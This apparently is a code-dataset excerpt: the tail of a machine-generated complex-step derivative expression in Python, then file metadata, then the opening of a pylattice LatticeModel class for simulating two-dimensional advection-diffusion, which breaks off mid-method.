xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_n*p12_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p11_s + lamP12_N*(Dt*sigv**2*sin(theta_s*(1.0e-50*1j + theta_n))*cos(theta_s*(1.0e-50*1j + theta_n)) - p13_n*p13_s*v*sin(theta_s*(1.0e-50*1j + theta_n)) + p13_n*p13_s*v*cos(theta_s*(1.0e-50*1j + theta_n)) - p12_n*p12_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s + lamP13_N*(-p33_n*p33_s*v*sin(theta_s*(1.0e-50*1j + theta_n)) - p13_n*p13_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s + lamP22_N*(Dt*sigv**2*sin(theta_s*(1.0e-50*1j + theta_n))**2 + p13_n*p13_s*v*cos(theta_s*(1.0e-50*1j + theta_n)) + p23_n*p23_s*v*cos(theta_s*(1.0e-50*1j + theta_n)) - p12_n*p12_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s + lamP23_N*(p33_n*p33_s*v*cos(theta_s*(1.0e-50*1j + theta_n)) - p13_n*p13_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s + lamX_N*(ep*u_max*cos(w) + v*cos(theta_s*(1.0e-50*1j + theta_n))/x_s) + lamY_N*v*sin(theta_s*(1.0e-50*1j + theta_n))/y_s)/1e-50), (tf)*(-np.imag(lamP11_N*(Dt*sigv**2*cos(theta_n*theta_s)**2 - 2*p13_n*p13_s*v*sin(theta_n*theta_s) - p11_s*(1.0e-50*1j + p11_n)*(x_n*x_s - xb)*(p11_s*(1.0e-50*1j + p11_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_n*p12_s*(y_n*y_s - yb)*(p11_s*(1.0e-50*1j + p11_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p11_s + lamP12_N*(Dt*sigv**2*sin(theta_n*theta_s)*cos(theta_n*theta_s) - p13_n*p13_s*v*sin(theta_n*theta_s) + p13_n*p13_s*v*cos(theta_n*theta_s) - p12_n*p12_s*(x_n*x_s - xb)*(p11_s*(1.0e-50*1j + p11_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p11_s*(1.0e-50*1j + p11_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s + lamP13_N*(-p33_n*p33_s*v*sin(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p11_s*(1.0e-50*1j + p11_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p11_s*(1.0e-50*1j + p11_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s)/1e-50), (tf)*(-np.imag(lamP11_N*(Dt*sigv**2*cos(theta_n*theta_s)**2 - 2*p13_n*p13_s*v*sin(theta_n*theta_s) - p11_n*p11_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_s*(1.0e-50*1j + p12_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_s*(1.0e-50*1j + p12_n)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_s*(1.0e-50*1j + p12_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p11_s + lamP12_N*(Dt*sigv**2*sin(theta_n*theta_s)*cos(theta_n*theta_s) - p13_n*p13_s*v*sin(theta_n*theta_s) + p13_n*p13_s*v*cos(theta_n*theta_s) - p12_s*(1.0e-50*1j + p12_n)*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_s*(1.0e-50*1j + p12_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_s*(1.0e-50*1j + p12_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s + lamP13_N*(-p33_n*p33_s*v*sin(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_s*(1.0e-50*1j + p12_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_s*(1.0e-50*1j + p12_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s + lamP22_N*(Dt*sigv**2*sin(theta_n*theta_s)**2 + p13_n*p13_s*v*cos(theta_n*theta_s) + p23_n*p23_s*v*cos(theta_n*theta_s) - p12_s*(1.0e-50*1j + p12_n)*(x_n*x_s - xb)*(p12_s*(1.0e-50*1j + p12_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p12_s*(1.0e-50*1j + p12_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s + lamP23_N*(p33_n*p33_s*v*cos(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p12_s*(1.0e-50*1j + p12_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p12_s*(1.0e-50*1j + p12_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s)/1e-50), (tf)*(-np.imag(lamP11_N*(Dt*sigv**2*cos(theta_n*theta_s)**2 - 2*p13_s*v*(1.0e-50*1j + p13_n)*sin(theta_n*theta_s) - p11_n*p11_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_n*p12_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p11_s + lamP12_N*(Dt*sigv**2*sin(theta_n*theta_s)*cos(theta_n*theta_s) - p13_s*v*(1.0e-50*1j + p13_n)*sin(theta_n*theta_s) + p13_s*v*(1.0e-50*1j + p13_n)*cos(theta_n*theta_s) - p12_n*p12_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s + lamP13_N*(-p33_n*p33_s*v*sin(theta_n*theta_s) - p13_s*(1.0e-50*1j + p13_n)*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s + lamP22_N*(Dt*sigv**2*sin(theta_n*theta_s)**2 + p13_s*v*(1.0e-50*1j + p13_n)*cos(theta_n*theta_s) + p23_n*p23_s*v*cos(theta_n*theta_s) - p12_n*p12_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s + lamP23_N*(p33_n*p33_s*v*cos(theta_n*theta_s) - p13_s*(1.0e-50*1j + p13_n)*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s + lamP33_N*(Dt*sigw**2 - p13_s*(1.0e-50*1j + p13_n)*(x_n*x_s - xb)*(p13_s*(1.0e-50*1j + p13_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_s*(1.0e-50*1j + p13_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p13_s*(1.0e-50*1j + p13_n)*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_s*(1.0e-50*1j + p13_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p33_s)/1e-50), (tf)*(-np.imag(lamP12_N*(Dt*sigv**2*sin(theta_n*theta_s)*cos(theta_n*theta_s) - p13_n*p13_s*v*sin(theta_n*theta_s) + p13_n*p13_s*v*cos(theta_n*theta_s) - p12_n*p12_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_s*(1.0e-50*1j + p22_n)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s + lamP22_N*(Dt*sigv**2*sin(theta_n*theta_s)**2 + p13_n*p13_s*v*cos(theta_n*theta_s) + p23_n*p23_s*v*cos(theta_n*theta_s) - p12_n*p12_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_s*(1.0e-50*1j + p22_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_s*(1.0e-50*1j + p22_n)*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_s*(1.0e-50*1j + p22_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s + lamP23_N*(p33_n*p33_s*v*cos(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_s*(1.0e-50*1j + p22_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_s*(1.0e-50*1j + p22_n)*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s)/1e-50), (tf)*(-np.imag(lamP13_N*(-p33_n*p33_s*v*sin(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_s*(1.0e-50*1j + p23_n)*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s + lamP22_N*(Dt*sigv**2*sin(theta_n*theta_s)**2 + p13_n*p13_s*v*cos(theta_n*theta_s) + p23_s*v*(1.0e-50*1j + p23_n)*cos(theta_n*theta_s) - p12_n*p12_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s + lamP23_N*(p33_n*p33_s*v*cos(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_s*(1.0e-50*1j + p23_n)*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s + lamP33_N*(Dt*sigw**2 - p13_n*p13_s*(x_n*x_s - xb)*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_s*(1.0e-50*1j + p23_n)*(y_n*y_s - yb)*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p33_s)/1e-50), (tf)*(-np.imag(lamP13_N*(-p33_s*v*(1.0e-50*1j + p33_n)*sin(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s + lamP23_N*(p33_s*v*(1.0e-50*1j + p33_n)*cos(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s)/1e-50), tf*0, ]) print(gx) tock = toc() print('N:' + str(tock)) print(fx-gx)
536.10989
8,342
0.557189
14,188
48,786
1.584367
0.005145
0.073046
0.094889
0.12634
0.97838
0.978113
0.97531
0.974065
0.96797
0.961208
0
0.1152
0.115504
48,786
91
8,343
536.10989
0.405738
0
0
0.131579
0
0
0.000082
0
0
0
0
0
0
1
0
false
0
0.039474
0
0.039474
0.065789
0
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1
null
0
0
0
1
1
1
1
1
1
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10
acf1c9e4c794a4dd6785333797b6b383d4e6c632
23,891
py
Python
experiments/lattice_model.py
crocha700/pylattice
54c13735fecee121ffea8048f0f37d9b196f8e54
[ "MIT" ]
null
null
null
experiments/lattice_model.py
crocha700/pylattice
54c13735fecee121ffea8048f0f37d9b196f8e54
[ "MIT" ]
null
null
null
experiments/lattice_model.py
crocha700/pylattice
54c13735fecee121ffea8048f0f37d9b196f8e54
[ "MIT" ]
null
null
null
from __future__ import division import numpy as np from numpy import pi, cos, sin, exp class LatticeModel(): """ A class that represents a two-dimensional lattice model of advection-diffusion with large-scale sinusoidal source """ def __init__(self, nx=128, ny=None, Lx=2*pi, Ly=None, dt=0.5, tmax=1000, tavestart = 500, kappa=1.e-5, urms = 1., power = 3.5, nmin = 5., nmax = None, source=True, diagnostics_list='all'): if ny is None: ny = nx if Ly is None: Ly = Lx self.nx = nx self.ny = ny self.Lx = Lx self.Ly = Ly self.dt = dt self.dt_2 = dt/2. self.dt_4 = dt/4. self.tmax = tmax self.tavestart = tavestart self.t = 0. self.tc = 0 self.kappa = kappa self.nmin = nmin if nmax: self.nmax = nmax else: self.nmax = nx self.power = power self.urms = urms self.source=source self.diagnostics_list = diagnostics_list self._initialize_grid() self._init_velocity() self._initialize_diagnostics() self.even = True self.odd = False def _initialize_grid(self): """ Initialize lattice and spectral space grid """ # physical space grids self.dx, self.dy = self.Lx/(self.nx), self.Ly/(self.ny) self.x = np.linspace(0.,self.Lx-self.dx,self.nx) self.y = np.linspace(0.,self.Ly-self.dy,self.ny) self.xi, self.yi = np.meshgrid(self.x,self.y) self.ix, self.iy = np.meshgrid(range(self.nx), range(self.ny)) # wavenumber grids self.dk = 2.*pi/self.Lx self.dl = 2.*pi/self.Ly self.nl = self.ny self.nk = self.nx/2+1 self.ll = self.dl*np.append( np.arange(0.,self.nx/2), np.arange(-self.nx/2,0.) ) self.kk = self.dk*np.arange(0.,self.nk) self.k, self.l = np.meshgrid(self.kk, self.ll) self.ik = 1j*self.k self.il = 1j*self.l # constant for spectral normalizations self.M = self.nx*self.ny self.M2 = self.M**2 self.wv2 = self.k**2 + self.l**2 self.wv = np.sqrt( self.wv2 ) def _velocity(self): phase = 2*pi*np.random.rand(2,self.nmax-self.nmin) phi, psi = phase[0], phase[1] Yn = self.n*self.y[...,np.newaxis] + phase[0][np.newaxis,...] Xn = self.n*self.x[...,np.newaxis] + phase[1][np.newaxis,...] u = (self.An*cos(Yn*self.dl)).sum(axis=1) v = (self.An*cos(Xn*self.dk)).sum(axis=1) self.u = u[...,np.newaxis] self.v = v[np.newaxis,...] def _init_velocity(self): self.n = np.arange(self.nmin,self.nmax)[np.newaxis,...] An = (self.n/self.nmin)**(-self.power/2.) N = 2*self.urms/( np.sqrt( ((self.n/self.nmin)**-self.power).sum() ) ) self.An = N*An #self.An = np.sqrt(2.) #self.An = 2*urms # estimate the Batchelor scale S = np.sqrt( ((self.An*self.n*self.dk)**2).sum()/2. ) self.lb = np.sqrt(self.kappa/S) #assert self.lb > self.dx, "**Warning: Batchelor scale not resolved." def _advect(self,direction='x',n=1): """ Advect th on a lattice given u and v, and the current index array ix, iy n is the number of substeps n=1 for doing the full advection-diffusion, n=2 for doing half the advection, etc """ if direction == 